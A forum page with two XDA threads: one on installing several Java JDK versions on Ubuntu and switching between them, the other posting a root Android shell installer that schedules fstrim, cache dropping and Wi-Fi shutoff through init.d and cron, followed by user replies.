sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy main multiverse"
sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy-updates main multiverse"
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
You can then install both version 5 and 6 of the sun jdk and leave any existing installs in tact.
For extra beans you can install openjdk-7-jdk without any adverse effects - I ran the following
Code:
sudo apt-get install sun-java6-jdk
sudo apt-get install sun-java5-jdk
sudo apt-get install openjdk-7-jdk
After that you can use /bin/update-aleternatives to manage which version to use. for example
Code:
sudo update-alternatives --config java
This gives me the following versions of java to use as my "java" command
Code:
There are 4 choices for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
------------------------------------------------------------
0 /usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java 1061 auto mode
1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java 53 manual mode
2 /usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java 1061 manual mode
3 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode
* 4 /usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java 1051 manual mode
Press enter to keep the current choice[*], or type selection number:
Pick which version you need/want to use and away you go, you can switch most of the applications on the java platform painlessy with this method this includes javaws, javah , javac , jdb. if you're working with android only javac and java is required however, so do the same for javac
Code:
sudo update-alternatives --config javac
see "/etc/alternatives" for a list of application which may have alternatives and obviously the man and help has full details and how you can manage applications I also think there is a Kde, Gnome front end for it as well.
I got the repo info for sun jdk 5/6 from google's Android AOSP build instructions
Ta
thank you!
Thank you! I've tried many other scripts and sites without success. I should have started with xda for this. Thank you again.
Script location update.
Just an FYI, the location of the script has change, as the author has also included it to install Java 7.
The new location is https github.com/flexiondotorg/oab-java6
NOTE: the script pasted in the OP no longer works as making the .deb file will fail unless you download the jce_poclicy-6.zip. (which the script deletes the next time you run it)
EDIT: I also tested this on Ubuntu 10.04, and it is working for both JRE and JDK
Can you confirm whether this method still works? I have followed the directions here and on the source.android.com website to install sun-java6-sdk and my ubuntu 12.04 is not finding the install package. When I run the update script the hardy repository is giving me 404 errors. Have things changed significantly since this was posted?
trevd said:
Hi folks
I'll just chuck an alternative method in for good measure and one that I successfully on ubuntu versions 11.10 , 12.04 and 12.10 as well every other debian derivative
Add these three repositories like so.
Code:
sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy main multiverse"
sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu hardy-updates main multiverse"
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
You can then install both version 5 and 6 of the sun jdk and leave any existing installs in tact.
For extra beans you can install openjdk-7-jdk without any adverse effects - I ran the following
Code:
sudo apt-get install sun-java6-jdk
sudo apt-get install sun-java5-jdk
sudo apt-get install openjdk-7-jdk
After that you can use /bin/update-aleternatives to manage which version to use. for example
Code:
sudo update-alternatives --config java
This gives me the following versions of java to use as my "java" command
Code:
There are 4 choices for the alternative java (providing /usr/bin/java).
Selection Path Priority Status
------------------------------------------------------------
0 /usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java 1061 auto mode
1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java 53 manual mode
2 /usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java 1061 manual mode
3 /usr/lib/jvm/java-6-sun/jre/bin/java 63 manual mode
* 4 /usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java 1051 manual mode
Press enter to keep the current choice[*], or type selection number:
Pick which version you need/want to use and away you go, you can switch most of the applications on the java platform painlessy with this method this includes javaws, javah , javac , jdb. if you're working with android only javac and java is required however, so do the same for javac
Code:
sudo update-alternatives --config javac
see "/etc/alternatives" for a list of application which may have alternatives and obviously the man and help has full details and how you can manage applications I also think there is a Kde, Gnome front end for it as well.
I got the repo info for sun jdk 5/6 from google's Android AOSP build instructions
Ta
Click to expand...
Click to collapse
jaxsin said:
Can you confirm whether this method still works? I have followed the directions here and on the source.android.com website to install sun-java6-sdk and my ubuntu 12.04 is not finding the install package. When I run the update script the hardy repository is giving me 404 errors. Have things changed significantly since this was posted?
Click to expand...
Click to collapse
Hi There,
Yes I believe they have as I noticed the same thing just recently, Although I will be looking a bit deeper when I installl 13.10. You are better off using the webupd8 team oracle java installer now I think, additionally AOSP master branch doesn't build anymore with the sun java version.
trevd said:
Hi There,
Yes I believe they have as I noticed the same thing just recently, Although I will be looking a bit deeper when I installl 13.10. You are better off using the webupd8 team oracle java installer now I think, additionally AOSP master branch doesn't build anymore with the sun java version.
Click to expand...
Click to collapse
which java version is worth using then? Openjdk v6, 7 or 8? I am considering trying to build CM 10.2 and I see they recommend to use Openjdk. Any thoughts?
jaxsin said:
which java version is worth using then? Openjdk v6, 7 or 8? I am considering trying to build CM 10.2 and I see they recommend to use Openjdk. Any thoughts?
Click to expand...
Click to collapse
I haven't use the openJDK offerings so I couldn't recommend one, I'm afraid. However, I did a little moreresearch google search into Hardy's disappearance. it turns out Hardy Heron 8.04 was EOL'd in May [ Announcement on the Ubuntu Fridge ]
All is not lost though as the hardy repos have just been moved to http://old-releases.ubuntu.com/ .
so if If you really need the sun java6 jdk or even sun's java5 jdk you can add these lines to you /etc/apt/sources.list and they should install fine.
Code:
deb http://archive.canonical.com/ lucid partner
deb http://old-releases.ubuntu.com/ubuntu hardy-updates main multiverse
deb http://old-releases.ubuntu.com/ubuntu hardy main multiverse
However as previously mentioned the sun java6 jdk no longer builds the master branch of the AOSP but at least the correct links are there for future reference. Currently Webupd8 team have the latest (now) oracle's version of the java6 jdk which is what I currently use for building. So to install oracle's versions of the jdk, do the following
Code:
sudo add-apt-repository --yes ppa:webupd8team/java
sudo apt-get install oracle-java8-installer
sudo apt-get install oracle-java7-installer
sudo apt-get install oracle-java6-installer
Obviously you can use update-alternatives to switch between them as/if required and make's the question of which is worth using/installing kinda moot ... Install them ALL! I haz every java. lol
Thanks
trevd :good:

[SCRIPT][UPDATED 03.26.14] Fix Lag, Defrag/Free Memory with |=>TrimDropOff<=|

Updated 03.26.14 - Released v2.1 - bug fixes and code cleaned
Introduction:
I am by no means a developer. I am just an android enthusiast who has learned a bit of bash. The reason I made this script was that settings>>wifi>>advanced was not promptly turning wifi off when my device would sleep; sometimes it would not turn off at all. So I figured since I am making a script to resolve this issue I might as well add a couple of other functions as well. To this end I noticed some people saying THIS APP was helpful and I missed the Flush-O-Matic script from V6 SuperCharger so I added fstrim and drop_caches=3 to the script.
Click to expand...
Click to collapse
What will this do?
The script will allow you to sync wifi, fstrim, and/or drop_caches=3 with sleep and/or it will allow you to schedule fstrim and/or drop_caches=3 using crond. The scheduling option can work on either a hourly (you can choose to run desired programs every hour on the hour, every two hours on the hour, every 3 hours on the hour, etc) or daily basis (you can choose to run desired programs at a given time on the hour).
Both the sync and schedule options will load themselves in to memory each boot and each time your device goes to sleep and/or when scheduled the scripts will depending on your options: (1) sync your data so as to ensure no data is lost; (2) TRIM your /system, /data, and /cache partitions; (3) DROP CACHES = 3; and (4) turn off wifi.
In addition, there is also an on-the-fly script to manually trim partitions and drop caches when desired.
Click to expand...
Click to collapse
Benefits:
Reduce lag/improve i/o efficiency (see THIS and THIS).
Although android automatically invokes fstrim when certain conditions are met, these criteria could seldom if ever be met depending upon your usage style. The init.d script should ensure fstrim is invoked more frequently for most users.
Should use less ram than apps that perform similar functions (I say should because I have never used such apps, but I imagine they consume more that .2-.5 mb of ram).
Click to expand...
Click to collapse
Requirements:
root
init.d
busybox
fstrim (should be in all nexus 4.3+ roms)
Click to expand...
Click to collapse
Warning/Disclaimer:
Although these scripts function as intended on my device – Nexus 7 (2013), SlimKat (weekly), ElementalX...Use at your own risk. Neither I nor XDA are responsible for any possible deleterious effects.
Click to expand...
Click to collapse
Known Issues/Bugs:
If you use the sync option, scripts with a lower priority than Z99 will not execute.
The log files don't always display as intended...dunno why...any help/suggestions would be appreciated.
Let me know if you find any others .
Click to expand...
Click to collapse
Install, Usage/Verification, & Uninstall:
Install -
Note: If you use crond for other tasks, both the install and uninstall routine account for this potential contigency and should leave your other crond tasks uneffects.
make a nandroid backup
download the zip (<<NOT flashable) attached to this post
extract the zip’s contents
if you were/are using the first version of this script manually delete: /etc/init.d/07TrimDropOff, /data/TrimDropOff_Awake.log, and /data/TrimDropOff_Sleep.log
run TrimDropOffInstaller with superuser permission via terminal or script manager.
follow the scripts prompts
reboot
enjoy
Usage/Verification -
Assuming you have followed the install procedure, next, put your device to sleep and then wake it if you are using the sync option.
Now check the various logs in /data/TrimDropOff. The logs will show the time, the script’s PIDs, the path of the PIDs (just to double-check the PIDs are correct), the ram used by the PIDs, action(s) preformed (amount trimmed from each partition and/or if drop_cahes was run), or errors.
If you want verify manually via terminal do [pgrep -f TrimDrop] for the sync option or [pgrep crond] for the scheduling option to get the PIDs, do [cat /proc/PID/cmdline] for each PID to verify it truly belongs to Z99TrimDropOff or crond, and do [dumpsys meminfo | grep PID] for each PID to verify ram usage (this command will yield duplicates, which can be disregarded and may output undesired additional results, which can be filtered by looking through the results for the relevant PID).
To use the on-the-fly script to trim and/or drop as desired, in terminal do [su -c trimdrop].
Should you want to reconfigure your setup, uninstall before reinstalling to avoid potential issues.
Uninstall -
Note: If you use crond for other tasks, both the install and uninstall routine account for this potential contigency and should leave your other crond tasks uneffects.
Rerun TrimDropOffInstaller with superuser permission and use uninstall option at the beginning of the script.
Reboot and all will be back to as it was before.
Click to expand...
Click to collapse
To-Do List:
Make in to an AROMA package.
I don't know, you tell me .
Click to expand...
Click to collapse
Code:
#!/system/bin/sh
# This script was authored by Defiant07 @ xda. Feel free to use it as you see fit, but please give proper credits.
# Big thanks to zeppelinrox, dk_zero-cool, & gu5t3r @ xda for their contributions to portions of this script (see the code of my other script SwapItOn @ xda for detailed citations).
# Read Karl Marx.
input_error(){
echo "That is not a valid input...try again...bye ."
exit 69
}
mount_rw(){
mount -o remount,rw / 2>/dev/null
mount -o remount,rw rootfs 2>/dev/null
busybox mount -o remount,rw / 2>/dev/null
busybox mount -o remount,rw rootfs 2>/dev/null
mount -o remount,rw /system 2>/dev/null
busybox mount -o remount,rw /system 2>/dev/null
busybox mount -o remount,rw $(busybox mount | awk '/system /{print $1,$3}') 2>/dev/null
}
mount_ro(){
mount -o remount,ro / 2>/dev/null
mount -o remount,ro rootfs 2>/dev/null
busybox mount -o remount,ro / 2>/dev/null
busybox mount -o remount,ro rootfs 2>/dev/null
mount -o remount,ro /system 2>/dev/null
busybox mount -o remount,ro /system 2>/dev/null
busybox mount -o remount,ro $(busybox mount | awk '/system /{print $1,$3}') 2>/dev/null
}
clear
if [ ! "`busybox`" ]; then
echo "Missing busybox...try again...bye ."
exit 69
fi
id=$(id); id=${id#*=}; id=${id%%[\( ]*}
if [ "$id" = "0" ] || [ "$id" = "root" ]; then
echo "" 1>/dev/null
else
echo "Not running as root...try again...bye ."
exit 69
fi
if [ ! -d /etc/init.d ]; then
echo "Missing /etc/init.d...try again...bye ."
exit 69
fi
if [ ! "`grep -r fstrim /system/bin`" ] && [ ! "`grep -r fstrim /system/xbin`" ]; then
echo "Missing fstrim...try again...bye ."
exit 69
fi
echo "Do you want to install or uninstall TrimDropOff?"
echo "Note: If you are rerunning this script to"
echo "reconfigure your setup, uninstall first."
echo -n "Input (i)nstall or (u)ninstall: "
read install_uninstall
echo
case $install_uninstall in
i|I)mount_rw
if [ ! -d "/sqlite_stmt_journals" ]; then
mkdir /sqlite_stmt_journals
fi
if [ ! -d "/data/TrimDropOff" ]; then
mkdir /data/TrimDropOff
chmod 755 /data/TrimDropOff
fi;;
u|U)mount_rw
rm /system/etc/init.d/Z99TrimDropOff_Sync 2>/dev/null
rm /system/etc/init.d/07TrimDropOff_Cron 2>/dev/null
rm /system/xbin/trimdrop 2>/dev/null
rm -rf /data/TrimDropOff 2>/dev/null
echo "Are you using cron.d for any other services?"
echo -n "Input es or o: "
read crond_use
echo
case $crond_use in
y|Y)sed '/TrimDropOff/d' -i /system/etc/cron.d/crontabs/root 2>/dev/null;;
n|N)rm -rf /system/etc/cron.d 2>/dev/null;;
*)input_error;;
esac
mount_ro
echo "All done. You can close your app now."
echo "Reboot your device to stop all processes."
exit 0;;
*)input_error;;
esac
wifi_only(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
svc wifi enable
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Offing."
svc wifi disable
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
fstrim_only(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Trimming."
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
drop_only(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Dropping."
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
wifi_fstrim(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
svc wifi enable
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Trimming, Offing."
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
svc wifi disable
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
wifi_drop(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
svc wifi enable
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Dropping, Offing."
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
svc wifi disable
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
fstrim_drop(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Trimming, Dropping."
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
wifi_fstrim_drop(){
cat > /system/etc/init.d/Z99TrimDropOff_Sync << EOF
#!/system/bin/sh
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
while [ 1 ]; do
AWAKE=\`cat /sys/power/wait_for_fb_wake\`
if [ "\$AWAKE" = "awake" ]; then
exec 1>/data/TrimDropOff/Awake.log
svc wifi enable
echo "\$(date +"%r %Y.%m.%d"): Waiting for screen to sleep. Confirming script in memory..."
echo "PIDs:"
pgrep -f TrimDrop
pidls=\`pgrep -f TrimDrop\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep sh | grep -m 1 pid
done
fi
SLEEPING=\`cat /sys/power/wait_for_fb_sleep\`
if [ "\$SLEEPING" = "sleeping" ]; then
exec 1>/data/TrimDropOff/Sleep.log
echo "\$(date +"%r %Y.%m.%d"): Trimming, Dropping, Offing."
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
svc wifi disable
fi
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Sync_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
echo "Do you want to sync fstrim, drop_caches=3, and/or"
echo "wifi with sleep?"
echo "WARNING: This will cause init.d scripts with a"
echo "priority lower than Z99 to NOT execute."
echo -n "Input es or o: "
read TDOsync
echo
case $TDOsync in
y|Y)echo "Which function(s) would you like to sync with sleep?"
echo "Input 1 for wifi only, 2 for fstrim only,"
echo "3 for drop_caches only, 4 for wifi and fstrim"
echo "5 for wifi and drop, 6 for fstrim and drop, or"
echo -n "7 for all: "
read sync_opt
echo
case $sync_opt in
1)wifi_only;;
2)fstrim_only;;
3)drop_only;;
4)wifi_fstrim;;
5)wifi_drop;;
6)fsrim_drop;;
7)wifi_fstrim_drop;;
*)input_error;;
esac
chmod 755 /system/etc/init.d/Z99TrimDropOff_Sync;;
n|N);;
*)input_error;;
esac
only_fstrim(){
cat > /data/TrimDropOff/TrimDropOff_Cron << EOF
#!/system/bin/sh
# This script was authored by Defiant07 @ xda. Feel free to use it as you see fit, but please give proper credits.
# Read Karl Marx.
exec 1>/data/TrimDropOff/CronRan.log
echo "\$(date +"%r %Y.%m.%d"): Trimming."
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
exit 0
EOF
}
only_drop(){
cat > /data/TrimDropOff/TrimDropOff_Cron << EOF
#!/system/bin/sh
# This script was authored by Defiant07 @ xda. Feel free to use it as you see fit, but please give proper credits.
# Read Karl Marx.
exec 1>/data/TrimDropOff/CronRan.log
echo "\$(date +"%r %Y.%m.%d"): Dropping."
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
exit 0
EOF
}
both_funct(){
cat > /data/TrimDropOff/TrimDropOff_Cron << EOF
#!/system/bin/sh
# This script was authored by Defiant07 @ xda. Feel free to use it as you see fit, but please give proper credits.
# Read Karl Marx.
exec 1>/data/TrimDropOff/CronRan.log
echo "\$(date +"%r %Y.%m.%d"): Trimming, Dropping."
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
exit 0
EOF
}
cron_starter(){
cat > /system/etc/init.d/07TrimDropOff_Cron << EOF
#!/system/bin/sh
# This script was authored by Defiant07 @ xda. Feel free to use it as you see fit, but please give proper credits.
# Read Karl Marx.
tdo_time(){
while [ ! "\`ps | grep -m 1 [a]ndroid\`" ]; do sleep 10; done
crond
exec 1>/data/TrimDropOff/CronBoot.log
echo "\$(date +"%r %Y.%m.%d"): cron.d service started."
echo "PIDs:"
pgrep crond
pidls=\`pgrep crond\`
echo "Verify Correct PIDs:"
for i in \$pidls; do
cat /proc/\$i/cmdline
done
echo ""
echo "RAM Usage:"
for i in \$pidls; do
dumpsys meminfo | grep \$i | grep -m 1 crond
done
}
if [ "\`ps | grep -m 1 [a]ndroid\`" ]; then tdo_time
else exec > /data/TrimDropOff/Cron_BootErrors.log 2>&1
tdo_time &
fi
exit 0
EOF
}
echo "Do you want to run fstrim and/or drop_caches"
echo "on a schedule?"
echo -n "Input es or o: "
read sched_opt
echo
case $sched_opt in
y|Y)echo "Which function do you want to schedule?"
echo "Input (f)strim only, (d)rop_caches only,"
echo -n "or (b)oth: "
read funct_opt
echo
case $funct_opt in
f|F)only_fstrim;;
d|D)only_drop;;
b|B)both_funct;;
*)input_error;;
esac
chmod 755 /data/TrimDropOff/TrimDropOff_Cron
echo "Do you want to schedule the function(s)"
echo "on an hourly or daily basis?"
echo -n "Input (h)ourly or (d)aily: "
read sched_opt
echo
if [ ! -d "/system/etc/cron.d" ]; then
mkdir /system/etc/cron.d
chmod 755 /system/etc/cron.d
fi
if [ ! -d "/system/etc/cron.d/crontabs" ]; then
mkdir /system/etc/cron.d/crontabs
chmod 755 /system/etc/cron.d/crontabs
fi
cron_starter
chmod 755 /system/etc/init.d/07TrimDropOff_Cron
case $sched_opt in
h|H)echo "Input 1 to run every hour, 2 to run every two hours,"
echo -n "3 to run every three hours...etc: "
read hour_opt
echo
if [ ! "`echo $hour_opt | awk '!/[^0-9]/'`" ]; then
input_error
fi
if [ -f "/system/etc/cron.d/crontabs/root" ]; then
echo "0 */$hour_opt * * * nohup /data/TrimDropOff/TrimDropOff_Cron" >> /system/etc/cron.d/crontabs/root
else
echo "0 */$hour_opt * * * nohup /data/TrimDropOff/TrimDropOff_Cron" > /system/etc/cron.d/crontabs/root
fi
chmod 755 /system/etc/cron.d/crontabs/root;;
d|D)echo "Input 0 to run at midnight every day,"
echo "1 to run at 1:00 am...13 to run at 1:00 pm"
echo -n "...etc...up to 23: "
read daily_opt
echo
if [ ! "`echo $daily_opt | awk '!/[^0-9]/ && $1<=23'`" ]; then
input_error
fi
if [ -f "/system/etc/cron.d/crontabs/root" ]; then
echo "0 $daily_opt * * * nohup /data/TrimDropOff/TrimDropOff_Cron" >> /system/etc/cron.d/crontabs/root
else
echo "0 $daily_opt * * * nohup /data/TrimDropOff/TrimDropOff_Cron" > /system/etc/cron.d/crontabs/root
fi
chmod 755 /system/etc/cron.d/crontabs/root;;
*)input_error;;
esac;;
n|N);;
*)input_error;;
esac
cat > /system/xbin/trimdrop << EOF
#!/system/bin/sh
# This script was authored by Defiant07 @ xda. Feel free to use it as you see fit, but please give proper credits.
# Read Karl Marx.
clear
trimmer(){
echo "/system:"
busybox sync
fstrim -v /system
echo "/data:"
busybox sync
fstrim -v /data
echo "/cache:"
busybox sync
fstrim -v /cache
}
dropper(){
echo "drop caches:"
busybox sync
busybox sysctl -w vm.drop_caches=3
}
echo -n "Do you want to run (f)strim, (d)rop_caches=3, or (b)oth? "
read funct_opt
echo
case \$funct_opt in
f|F)trimmer;;
d|D)dropper;;
b|B)trimmer
dropper;;
*)echo "That is not a valid input...try again...bye ."
exit 69;;
esac
echo
echo "All done...enjoy! You can close your app now."
exit 0
EOF
chmod 755 /system/xbin/trimdrop
mount_ro
echo "In addition to making the files required by"
echo "your desired configuration, I have also made"
echo "an on-the-fly script to run fstrim and/or"
echo "drop_caches on-demand."
echo "To use it, in terminal do: su -c trimdrop"
echo
sleep 3
echo "Reboot your device to start your desired services."
echo
sleep 3
echo "If you want to know how to verify everything"
echo "is working, read the script's OP (FFS)!"
echo
sleep 5
echo "All done...enjoy! You can close your app now."
exit 0
Click to expand...
Click to collapse
Changelog:
v2.0
made in to installer script
added cron options
added bootloop precautions to the init.d scripts (should make it compatible with all devices that meet the requirments)
the on-the-fly script, trimdrop, now allows user to choose fstrim and/or drop_caches=3
added more syncs to further ensure no data is lost
a bunch of other stuff I probably forget
v2.1
bug fixes - fixed issue if using only sync option (missing directory); fixed display of irrelevant errors in uninstall routine
cleaned code a bit (reduced redundancy)
Click to expand...
Click to collapse
Download History:
Defiant07s_TrimDropOff.zip - [Click for QR Code] (1.6 KB, 162 views)
Defiant07s_TrimDropOff_v2.0_[NOT_FLASHABLE].zip - [Click for QR Code] (3.0 KB, 89 views)
Click to expand...
Click to collapse
Credits:
Big thanks to @zeppelinrox, @dk_zero-cool, & @gu5t3r for their contributions to portions of this script (see the code of my other script SwapItOn for detailed citations).
Much thanks to @mdamaged for spotting the issue with sync init.d script and his note regarding syncing data.
Click to expand...
Click to collapse
Don't forget to click THANKS and RATE 5 STARS if you found this useful :highfive:.
peep my other script SwapItOn
Update to v2.1 if you were only using the sync option.
If you were using both the sync and schedule options or only the schedule option there is no need to update; the bug I found would not effect you.​
reserved...on the off chance it will be needed
Thanks, sounds interesting. I'm assuming the zip can be flashed right after flashing a new rom?
MidnightDevil said:
Thanks, sounds interesting. I'm assuming the zip can be flashed right after flashing a new rom?
Click to expand...
Click to collapse
Not a flashable ZIP per line 2.
AnarchoXen said:
Not a flashable ZIP per line 2.
Click to expand...
Click to collapse
Oh, thanks
Is compatible with custom kernel? Franco in my case
vía n7II r-paco
Will performing trimming operations too frequently cause additional flash memory degradation?
MidnightDevil said:
Thanks, sounds interesting. I'm assuming the zip can be flashed right after flashing a new rom?
Click to expand...
Click to collapse
As you were informed the zip is NOT flashable. If there is sufficient interest (say a 100 downloads) I'll make it flashable/aroma.
jordirpz said:
Is compatible with custom kernel? Franco in my case
vía n7II r-paco
Click to expand...
Click to collapse
Yes, it should be compatible...the fstrim utility is part of the rom (it should be in all nexus 4.3+ roms).
creeve4 said:
Will performing trimming operations too frequently cause additional flash memory degradation?
Click to expand...
Click to collapse
